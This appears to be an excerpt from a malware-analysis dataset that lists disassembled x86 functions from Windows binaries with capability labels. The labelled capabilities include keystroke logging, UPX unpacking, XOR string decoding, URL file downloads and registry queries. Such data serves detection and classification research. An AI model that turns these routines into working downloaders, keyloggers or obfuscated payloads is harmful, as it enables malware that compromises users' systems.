joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401006
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x473008]
jne 0x401010
repz ret
jmp fcn.004016fb

Function at 0x40497a
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00402d78
and dword [ebp - 4], 0
cmp dword [0x475d70], 0
mov ebx, eax
jne 0x404a2b
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x404adc
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x404adc
push eax
call fcn.00402d06
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x475d70], eax
call esi
push eax
call fcn.00402d06
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x475d74], eax
call esi
push eax
call fcn.00402d06
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x475d78], eax
call esi
push eax
call fcn.00402d06
pop ecx
mov dword [0x475d80], eax
test eax, eax
je 0x404a2b
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00402d06
pop ecx
mov dword [0x475d7c], eax
mov eax, dword [0x475d7c]
cmp eax, ebx
je 0x404a83
cmp dword [0x475d80], ebx
je 0x404a83
push eax
call fcn.00402d81
push dword [0x475d80]
mov esi, eax
call fcn.00402d81
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x404a83
test edi, edi
je 0x404a83
call esi
test eax, eax
je 0x404a7a
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x404a7a
test byte [ebp - 0xc], 1
jne 0x404a83
or dword [ebp + 0x10], 0x200000
jmp 0x404abc
mov eax, dword [0x475d74]
cmp eax, ebx
je 0x404abc
push eax
call fcn.00402d81
pop ecx
test eax, eax
je 0x404abc
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x404abc
mov eax, dword [0x475d78]
cmp eax, ebx
je 0x404abc
push eax
call fcn.00402d81
pop ecx
test eax, eax
je 0x404abc
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x475d70]
call fcn.00402d81
pop ecx
test eax, eax
je 0x404adc
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x404ade
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x46eb80
Capabilities:
Accept command line arguments

Disassembly:
sub esp, 0x404
mov eax, dword [0x473008]
xor eax, esp
mov dword [esp + 0x400], eax
cmp dword [0x848b0c], 0x114e
mov eax, dword [esp + 0x408]
mov dword [0x848950], eax
jne 0x46ebc1
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push 0
lea ecx, [esp + 4]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ecx, dword [esp + 0x400]
xor ecx, esp
call fcn.00401006
add esp, 0x404
ret
Function at 0x46ebf0
Capabilities:
Encode data using xor

Disassembly:
sub esp, 8
cmp edi, 0x182
jne 0x46ec13
push 0
push 0
push 0
push str.ralerurohuzurusayovuzuwusanuwed
push str.jevebimeyevigokufalekimufazul
push 0
call dword [sym.imp.KERNEL32.dll_UpdateResourceW]
xor edx, edx
test edi, edi
jle 0x46ec52
lea esp, [esp]
lea ecx, [esp + 4]
mov dword [esp], 5
mov dword [esp + 4], 0
call fcn.0046ebe0
mov eax, dword [esp + 4]
add eax, 0x46
mov dword [esp], eax
nop
sub dword [esp], 0x46
mov al, byte [esp]
xor byte [edx + esi], al
inc edx
cmp edx, edi
jl 0x46ec20
cmp edi, 0x2d
jne 0x46ec6b
mov dword [0x848c40], 0xa62e7790
mov dword [0x848c44], 0xffffffff
add esp, 8
ret

Function at 0x46ec70
Capabilities:
Query environment variable

Disassembly:
sub esp, 0x804
mov eax, dword [0x473008]
xor eax, esp
mov dword [esp + 0x800], eax
mov eax, dword [0x473c60]
push esi
mov esi, dword [0x848954]
push edi
mov edi, dword [0x848b0c]
push eax
call fcn.0046eb80
add esp, 4
cmp dword [0x848b0c], 0x2f
jne 0x46ecaf
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStrings]
call fcn.0046ebf0
cmp dword [0x848b0c], 0x568
pop edi
pop esi
jne 0x46ece3
push 0
push 0
lea ecx, [esp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesA]
push 0
lea edx, [esp + 0x404]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetVolumePathNameA]
mov ecx, dword [esp + 0x800]
xor ecx, esp
call fcn.00401006
add esp, 0x804
ret
Function at 0x1265750
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0xbbd000]
push edi
or ebp, 0xffffffff
jmp 0x1265772
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x1265779
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x1265768
mov eax, 1
add ebx, ebx
jne 0x126578b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x126579c
jne 0x12657bb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x12657bb
dec eax
add ebx, ebx
jne 0x12657a8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x1265780
add ebx, ebx
jne 0x12657b7
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x126580d
xor ecx, ecx
sub eax, 3
jb 0x12657d3
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x1265842
sar eax, 1
mov ebp, eax
jmp 0x12657de
add ebx, ebx
jne 0x12657de
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x12657ac
inc ecx
add ebx, ebx
jne 0x12657ec
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x12657ac
add ebx, ebx
jne 0x12657f9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x12657ee
jne 0x126580a
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x12657ee
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x126582c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x126581e
jmp 0x126576e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x126582c
add edi, ecx
jmp 0x126576e
pop esi
mov edi, esi
mov ecx, 0x3328e
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x126584a
mov eax, dword [edi]
mov bl, byte [edi + 4]
xchg ah, al
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x126584f
lea edi, [esi + 0xe61000]
mov eax, dword [edi]
or eax, eax
je 0x12658b7
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xeb07e8]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xeb0928]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x1265875
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xeb092c]
or eax, eax
je 0x12658b1
mov dword [ebx], eax
add ebx, 4
jmp 0x1265892
call dword [esi + 0xeb093c]
mov ebp, dword [esi + 0xeb0930]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x21f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x12658eb
sub esp, 0xffffff80
jmp 0xa06f98
Function at 0x403d46
Capabilities:
Encode data using xor

Disassembly:
push 0x48
mov eax, 0x487a0d
call fcn.0046ad4f
mov esi, dword [ebp + 8]
xor edi, edi
mov dword [ebp - 0x54], esi
mov dword [ebp - 0x50], edi
lea eax, [ebp + 0xc]
push eax
xor ebx, ebx
lea eax, [ebp - 0x2c]
inc ebx
push eax
mov dword [ebp - 4], ebx
call fcn.00403ab9
pop ecx
pop ecx
mov ecx, esi
mov byte [ebp - 4], 2
call fcn.004036fd
mov dword [ebp - 0x50], ebx
cmp dword [ebp - 0x18], edi
jbe 0x403db0
push edi
lea ecx, [ebp - 0x2c]
call fcn.004033f3
mov cl, byte [0x4c529d]
xor byte [eax], cl
push edi
lea ecx, [ebp - 0x2c]
call fcn.004033f3
movzx eax, byte [eax]
push eax
mov ecx, esi
call fcn.004037c4
inc edi
cmp edi, dword [ebp - 0x18]
jb 0x403d85
push dword [esi]
lea ecx, [ebp - 0x48]
call fcn.004023cb
mov edi, dword [ebp + 0x28]
dec edi
mov byte [ebp - 4], 3
test edi, edi
jle 0x403e02
push dword [ebp + 0x2c]
lea eax, [ebp - 0x48]
push edi
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x4c], esp
push eax
call fcn.00401f87
lea eax, [ebp - 0x4c]
push eax
call fcn.00403d46
add esp, 0x28
push eax
mov ecx, esi
mov byte [ebp - 4], 4
call fcn.004039c9
mov ecx, dword [ebp - 0x4c]
add ecx, 0xfffffff0
mov byte [ebp - 4], 3
call fcn.00401240
inc edi
cmp dword [ebp + 0x2c], edi
jne 0x403e33
mov eax, dword [esi]
mov eax, dword [eax - 0xc]
sub eax, dword [ebp + 0x2c]
mov ecx, esi
push eax
lea eax, [ebp - 0x4c]
push eax
call fcn.00403883
push eax
mov ecx, esi
mov byte [ebp - 4], 5
call fcn.004039c9
mov ecx, dword [ebp - 0x4c]
add ecx, 0xfffffff0
call fcn.00401240
push 0
push ebx
lea ecx, [ebp - 0x48]
call fcn.004018f7
push 0
push ebx
lea ecx, [ebp - 0x2c]
call fcn.004018f7
push 0
push ebx
lea ecx, [ebp + 0xc]
call fcn.004018f7
mov eax, esi
call fcn.0046add2
ret
Function at 0x404a8d
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x170]
test ecx, ecx
je 0x404a9f
call fcn.0043a2bf
mov ecx, esi
pop esi
jmp fcn.0044cee1

Function at 0x404e5b
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
lea ebp, [esp - 0x88]
sub esp, 0x108
mov eax, dword [0x4c72ac]
xor eax, ebp
mov dword [ebp + 0x84], eax
push ebx
push esi
mov esi, dword [ebp + 0x90]
push edi
push esi
mov dword [ebp - 0x80], esi
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x404eeb
xor ebx, ebx
push 0xff
lea eax, [ebp - 0x7b]
push ebx
push eax
mov byte [ebp - 0x7c], bl
call fcn.0046a630
mov esi, dword [sym.imp.USER32.dll_GetKeyboardState]
add esp, 0xc
lea eax, [ebp - 0x7c]
push eax
call esi
mov edi, dword [sym.imp.USER32.dll_keybd_event]
test eax, eax
je 0x404ec8
test byte [ebp - 0x6a], 0x80
jne 0x404ec8
push ebx
push 1
push ebx
push 0x12
call edi
push dword [ebp - 0x80]
call dword [sym.imp.USER32.dll_SetForegroundWindow]
lea eax, [ebp - 0x7c]
push eax
call esi
test eax, eax
je 0x404f00
test byte [ebp - 0x6a], 0x80
jne 0x404f00
push ebx
push 3
push ebx
push 0x12
call edi
jmp 0x404f00
push esi
call dword [sym.imp.USER32.dll_SetForegroundWindow]
push esi
call dword [sym.imp.USER32.dll_BringWindowToTop]
push esi
call dword [sym.imp.USER32.dll_SetActiveWindow]
mov ecx, dword [ebp + 0x84]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0046acd7
add ebp, 0x88
leave
ret 4
Function at 0x409c55
Capabilities:
Encode data using xor

Disassembly:
push 0xc8
mov eax, 0x48828c
call fcn.0046ad4f
mov ebx, dword [ebp + 8]
xor edi, edi
mov dword [ebp - 0x50], edi
lea eax, [ebp + 0xc]
push eax
lea eax, [ebp - 0x2c]
push eax
mov dword [ebp - 4], edi
call fcn.00403ab9
pop ecx
pop ecx
mov byte [ebp - 4], 1
call fcn.0044890c
push eax
lea ecx, [ebp - 0x4c]
call fcn.004035c3
xor esi, esi
mov byte [ebp - 4], 2
cmp dword [ebp - 0x18], edi
jbe 0x409ccb
push esi
lea ecx, [ebp - 0x2c]
call fcn.004033f3
mov cl, byte [0x4c529d]
xor byte [eax], cl
push esi
lea ecx, [ebp - 0x2c]
call fcn.004033f3
movsx ax, byte [eax]
movzx eax, ax
push eax
lea ecx, [ebp - 0x4c]
call fcn.00408016
inc esi
cmp esi, dword [ebp - 0x18]
jb 0x409c9b
mov esi, dword [ebp + 0x28]
dec esi
cmp esi, edi
jle 0x409d59
push dword [ebp - 0x4c]
lea ecx, [ebp - 0xd4]
call fcn.00407267
push dword [eax]
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 3
call fcn.004023cb
lea eax, [ebp - 0xd0]
mov byte [ebp - 4], 5
cmp dword [ebp - 0xd4], eax
je 0x409d11
push dword [ebp - 0xd4]
call fcn.0046a863
pop ecx
push dword [ebp + 0x2c]
lea eax, [ebp - 0x48]
push esi
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x50], esp
push eax
call fcn.00401f87
lea eax, [ebp - 0x50]
push eax
call fcn.00409c55
add esp, 0x28
push eax
lea ecx, [ebp - 0x4c]
mov byte [ebp - 4], 6
call fcn.004081ee
mov ecx, dword [ebp - 0x50]
add ecx, 0xfffffff0
call fcn.00401240
push edi
push 1
lea ecx, [ebp - 0x48]
mov byte [ebp - 4], 2
call fcn.004018f7
inc esi
cmp dword [ebp + 0x2c], esi
jne 0x409d91
mov eax, dword [ebp - 0x4c]
mov eax, dword [eax - 0xc]
sub eax, dword [ebp + 0x2c]
lea ecx, [ebp - 0x4c]
push eax
lea eax, [ebp - 0x50]
push eax
call fcn.00407435
push eax
lea ecx, [ebp - 0x4c]
mov byte [ebp - 4], 7
call fcn.004081ee
mov ecx, dword [ebp - 0x50]
add ecx, 0xfffffff0
mov byte [ebp - 4], 2
call fcn.00401240
lea ecx, [ebp - 0x4c]
call fcn.0040814a
mov ecx, eax
call fcn.00408193
push eax
mov ecx, ebx
call fcn.004061cf
mov ecx, dword [ebp - 0x4c]
add ecx, 0xfffffff0
call fcn.00401240
push edi
push 1
lea ecx, [ebp - 0x2c]
call fcn.004018f7
push edi
push 1
lea ecx, [ebp + 0xc]
call fcn.004018f7
mov eax, ebx
call fcn.0046add2
ret
Function at 0x42b5b3
Capabilities:
Check os version

Disassembly:
push ebp
sub esp, 0x94
lea ebp, [esp - 4]
mov eax, dword [0x4c72ac]
xor eax, ebp
mov dword [ebp + 0x94], eax
push 0xc
mov eax, 0x48d5cd
call fcn.0046ace6
mov ebx, dword [ebp + 0xa0]
push 2
pop edi
push edi
push edi
sub esp, 0x1c
xor esi, esi
mov dword [ebp - 0x14], esi
mov ecx, esp
mov dword [ebp - 0x10], esp
push str.OiseCj8BMCE_Hk0h
mov dword [ebp - 4], esi
mov dword [ebp - 0x18], ebx
call fcn.004023cb
push ebx
call fcn.00403d46
mov dword [ebp - 4], esi
mov esi, 0x94
push esi
lea eax, [ebp]
push 0
push eax
mov dword [ebp - 0x14], 1
call fcn.0046a630
add esp, 0x34
lea eax, [ebp]
push eax
mov dword [ebp], esi
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
push 5
pop eax
cmp dword [ebp + 4], eax
jne 0x42b69b
xor esi, esi
inc esi
cmp dword [ebp + 8], esi
jne 0x42b66a
push 4
push 4
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x10], esp
push str.NxMWHDITKD0qKB4NMhFMLjY9STY0DkRE
call fcn.004023cb
lea eax, [ebp - 0x10]
push eax
call fcn.00403d46
add esp, 0x28
mov dword [ebp - 4], esi
jmp 0x42b72f
cmp dword [ebp + 8], edi
jne 0x42b742
push edi
push edi
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x10], esp
push str.Og4SDDw7GhEyKiMpLShERA
call fcn.004023cb
lea eax, [ebp - 0x10]
push eax
call fcn.00403d46
add esp, 0x28
mov dword [ebp - 4], edi
jmp 0x42b72f
cmp dword [ebp + 4], 6
jne 0x42b742
cmp dword [ebp + 8], 0
jne 0x42b6d4
push edi
push edi
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x10], esp
push str.NxNJDDw7Gg88OBY3PjhERA
call fcn.004023cb
lea eax, [ebp - 0x10]
push eax
call fcn.00403d46
add esp, 0x28
mov dword [ebp - 4], 3
jmp 0x42b72f
cmp dword [ebp + 8], 1
jne 0x42b703
push eax
push eax
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x10], esp
push str.Nw48STQTTUApOkkANhISMDQTETQ2AxocKQM0CD0SKzw
call fcn.004023cb
lea eax, [ebp - 0x10]
push eax
call fcn.00403d46
add esp, 0x28
mov dword [ebp - 4], 4
jmp 0x42b72f
cmp dword [ebp + 8], edi
jne 0x42b742
push eax
push eax
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x10], esp
push str.NwMWHC0TGj0yPDgIMjgWLjQTETQ2AxocKQM0DTESKzw
call fcn.004023cb
lea eax, [ebp - 0x10]
push eax
call fcn.00403d46
add esp, 0x28
mov dword [ebp - 4], 9
push eax
mov ecx, ebx
call fcn.004039c9
mov ecx, dword [ebp - 0x10]
add ecx, 0xfffffff0
call fcn.00401240
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x94]
xor ecx, ebp
call fcn.0046acd7
add ebp, 0x98
leave
ret
Function at 0x43069b
Capabilities:
Print debug messages

Disassembly:
push ebp
sub esp, 0x800
lea ebp, [esp - 4]
mov eax, dword [0x4c72ac]
xor eax, ebp
mov dword [ebp + 0x800], eax
push 0x98
mov eax, 0x48e33c
call fcn.0046ace6
lea eax, [ebp + 0x810]
push eax
push dword [ebp + 0x80c]
mov esi, 0x800
lea eax, [ebp]
push esi
push eax
call fcn.0046de37
add esp, 0x10
call fcn.0044890c
xor ecx, ecx
test eax, eax
setne cl
test ecx, ecx
jne 0x4306fb
push 0x80004005
call fcn.00403076
mov edx, dword [eax]
push 1
push esi
mov ecx, eax
call dword [edx]
test eax, eax
jne 0x43070d
call fcn.00405487
lea edi, [eax + 0x10]
push esi
lea ecx, [ebp - 0x18]
mov dword [ebp - 0x18], edi
call fcn.004031de
push esi
lea eax, [ebp]
push eax
push esi
push edi
call fcn.0046a547
add esp, 0x10
and dword [ebp - 4], 0
push edi
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
cmp byte [0x4c88d3], 0
je 0x4307dd
push 1
push 0x40
push 0xa
push 3
push 3
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x10], esp
push str.NSg7OzcQQSs1Ok0BPDo4Hyk9CgoEEE2Ki0KQDI8Kzw
call fcn.004023cb
lea eax, [ebp - 0x10]
push eax
call fcn.00403d46
mov esi, eax
lea eax, [ebp - 0x14]
push eax
mov byte [ebp - 4], 1
call fcn.004365b8
push esi
push eax
lea eax, [ebp - 0x1c]
push eax
mov byte [ebp - 4], 2
call fcn.00403a33
add esp, 0x38
push dword [eax]
lea ecx, [ebp - 0xa4]
mov byte [ebp - 4], 3
call fcn.00402dd6
mov ecx, dword [ebp - 0x1c]
add ecx, 0xfffffff0
call fcn.00401240
mov ecx, dword [ebp - 0x14]
add ecx, 0xfffffff0
call fcn.00401240
mov ecx, dword [ebp - 0x10]
add ecx, 0xfffffff0
mov byte [ebp - 4], 7
call fcn.00401240
lea eax, [ebp - 0xa4]
push edi
push eax
call fcn.00411863
pop ecx
pop ecx
lea ecx, [ebp - 0xa4]
mov byte [ebp - 4], 0
call fcn.00402c8a
lea ecx, [edi - 0x10]
call fcn.00401240
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x800]
xor ecx, ebp
call fcn.0046acd7
add ebp, 0x804
leave
ret
Function at 0x434efb
Capabilities:
Create directory
Download url
Receive data

Disassembly:
push 8
mov eax, 0x48ed5c
call fcn.0046ace6
mov esi, ecx
mov eax, dword [ebp + 8]
mov dword [esi + 0x1c], eax
lea eax, [esi + 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
call fcn.0044890c
push eax
lea ecx, [ebp + 8]
call fcn.004035c3
mov eax, dword [esi + 8]
mov ecx, dword [eax + 0xc]
xor ebx, ebx
cmp dword [ecx - 0xc], ebx
mov dword [ebp - 4], ebx
jg 0x434f79
push dword [eax + 4]
lea eax, [ebp - 0x14]
push eax
call fcn.004366e8
mov eax, dword [eax]
mov ecx, dword [esi + 8]
mov ecx, dword [ecx + 8]
push 0x5c
push eax
push ecx
lea eax, [ebp - 0x10]
push eax
mov byte [ebp - 4], 1
call fcn.00436863
add esp, 0x18
push eax
lea ecx, [ebp + 8]
mov byte [ebp - 4], 2
call fcn.004039c9
mov ecx, dword [ebp - 0x10]
add ecx, 0xfffffff0
call fcn.00401240
jmp 0x434f99
mov eax, dword [eax + 8]
push 0x5c
push ecx
push eax
lea eax, [ebp - 0x14]
push eax
call fcn.00436863
add esp, 0x10
push eax
lea ecx, [ebp + 8]
mov byte [ebp - 4], 3
call fcn.004039c9
mov ecx, dword [ebp - 0x14]
add ecx, 0xfffffff0
mov byte [ebp - 4], bl
call fcn.00401240
mov eax, dword [esi + 8]
mov eax, dword [eax + 8]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov eax, dword [esi + 8]
add eax, 4
push eax
lea ecx, [ebp - 0x14]
call fcn.00403711
mov edi, dword [ebp - 0x14]
push edi
mov byte [ebp - 4], 4
call dword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
push esi
mov esi, dword [ebp + 8]
push ebx
push esi
push edi
push ebx
call sub.urlmon.dll_URLDownloadToFileA
cmp eax, ebx
jge 0x434ff4
mov dword [ebp - 0x10], eax
push 0x4bc054
lea eax, [ebp - 0x10]
push eax
call fcn.0046a817
lea ecx, [edi - 0x10]
call fcn.00401240
lea ecx, [esi - 0x10]
call fcn.00401240
call fcn.0046adbe
ret 4

Function at 0x4359c8
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
lea ebp, [esp - 0x68]
sub esp, 0xa4
mov eax, dword [0x4c72ac]
xor eax, ebp
mov dword [ebp + 0x64], eax
mov eax, dword [ebp + 0x7c]
mov ecx, dword [ebp + 0x70]
mov edx, dword [ebp + 0x74]
push edi
mov edi, dword [ebp + 0x78]
test eax, eax
jne 0x435a00
lea eax, [ebp - 0x38]
push eax
push 1
push 0
push edx
push ecx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
jmp 0x435a14
push ebx
lea ebx, [ebp - 0x38]
push ebx
or eax, 1
push eax
push 0
push edx
push ecx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
pop ebx
test eax, eax
je 0x435a1c
xor eax, eax
jmp 0x435a4f
test edi, edi
je 0x435a41
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x34]
push eax
push 0
push 0
push edi
push dword [ebp - 0x38]
mov dword [ebp - 0x3c], 0x96
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x435a18
push dword [ebp - 0x38]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
neg eax
sbb eax, eax
inc eax
mov ecx, dword [ebp + 0x64]
xor ecx, ebp
pop edi
call fcn.0046acd7
add ebp, 0x68
leave
ret
Function at 0x435bd9
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebp
sub esp, 0x100
lea ebp, [esp - 4]
mov eax, dword [0x4c72ac]
xor eax, ebp
mov dword [ebp + 0x100], eax
push 0x44
mov eax, 0x48ee49
call fcn.0046ad19
mov ecx, dword [ebp + 0x10c]
mov eax, dword [ebp + 0x118]
mov esi, dword [ebp + 0x110]
mov edi, dword [ebp + 0x114]
xor ebx, ebx
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x28], ebx
call fcn.004036fd
xor eax, eax
inc eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x11c]
cmp eax, ebx
jne 0x435c43
lea eax, [ebp - 0x14]
push eax
push 0x20019
jmp 0x435c4d
lea ecx, [ebp - 0x14]
push ecx
or eax, 0x20019
push eax
push ebx
push edi
push esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
cmp eax, ebx
jne 0x435d0f
push 0xfe
lea eax, [ebp + 1]
push ebx
push eax
mov byte [ebp], bl
call fcn.0046a630
add esp, 0xc
lea eax, [ebp - 0x50]
push eax
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x2c]
push eax
push ebx
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp]
push eax
push dword [ebp - 0x14]
mov dword [ebp - 0x30], 0xff
mov dword [ebp - 0x2c], ebx
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyA]
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea eax, [ebp - 0x18]
push eax
push ebx
push ebx
push ebx
push dword [ebp - 0x1c]
mov dword [ebp - 0x18], 4
push dword [ebp - 0x14]
call esi
test eax, eax
jne 0x435d06
push dword [ebp - 0x18]
call fcn.0046e47d
pop ecx
mov edi, eax
lea eax, [ebp - 0x18]
push eax
push edi
lea eax, [ebp - 0x24]
push eax
push ebx
push dword [ebp - 0x1c]
push dword [ebp - 0x14]
call esi
test eax, eax
jne 0x435cff
cmp dword [ebp - 0x24], 1
jne 0x435cff
mov ecx, dword [ebp - 0x20]
push edi
call fcn.00403a8a
push edi
call fcn.0046a863
pop ecx
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x100]
xor ecx, ebp
call fcn.0046acd7
add ebp, 0x104
leave
ret
Function at 0x43624a
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebp
sub esp, 0x100
lea ebp, [esp - 4]
mov eax, dword [0x4c72ac]
xor eax, ebp
mov dword [ebp + 0x100], eax
push 0x44
mov eax, 0x48ef70
call fcn.0046ace6
push 3
push 3
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x14], esp
push str.MhIVNyoDMC0wPyBIMhJINzQeNDY_LRpONjseTzgqOAApAT87NwM0DT4SPEg1ATMuNh48HDU9PE0tKk1POC00EzQRPDY3A0lNPBEsSjhJEjM
mov byte [ebp - 0xd], 0
call fcn.004023cb
lea eax, [ebp - 0x14]
push eax
call fcn.00403d46
add esp, 0x28
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
and dword [ebp - 4], 0
lea eax, [ebp - 0x24]
push eax
mov ebx, 0x20019
push ebx
push 0
push dword [ebp - 0x14]
mov edi, reloc.OLEAUT32.dll_SysReAllocString
push edi
call esi
test eax, eax
jne 0x43639a
push 0xfe
push eax
mov byte [ebp], al
lea eax, [ebp + 1]
push eax
call fcn.0046a630
add esp, 0xc
lea eax, [ebp - 0x50]
push eax
and dword [ebp - 0x1c], 0
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x1c]
push eax
push 0
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp]
push eax
push dword [ebp - 0x24]
mov dword [ebp - 0x2c], 0xff
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyA]
cmp dword [ebp - 0x1c], 1
jbe 0x43631c
mov byte [ebp - 0xd], 0
jmp 0x436391
push 5
push 5
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x18], esp
push str.NwMJMzQTKC0EEkNNT0eLjQTDTQ0EBJBPBI8SjgBFjU3Awo2LQMeTjQAEko1KE0IMjpJHjYDOEExHhJNNTwSNDcACkkoLRooPx4KSCk7IzcpKzMzKhMaCzYDOEs4ARY3NSoBNzg9IDswAx4JNhEjNzITFiotEyxPPxJBCTUoPEo0ETszPxBJPTQ6Hk01LTg4NBE8Hjo6EjgqPThJOA5NMDItHhw6LR4KPy0wSTwtDjY3DjQYPxAKQTI8KEQ
call fcn.004023cb
lea eax, [ebp - 0x20]
push eax
call fcn.00403d46
add esp, 0x28
lea eax, [ebp - 0x28]
push eax
push ebx
xor ebx, ebx
push ebx
push dword [ebp - 0x20]
push edi
call esi
test eax, eax
jne 0x436386
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x18]
push eax
push ebx
push ebx
push 0x4a5758
push dword [ebp - 0x28]
mov dword [ebp - 0x30], 4
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
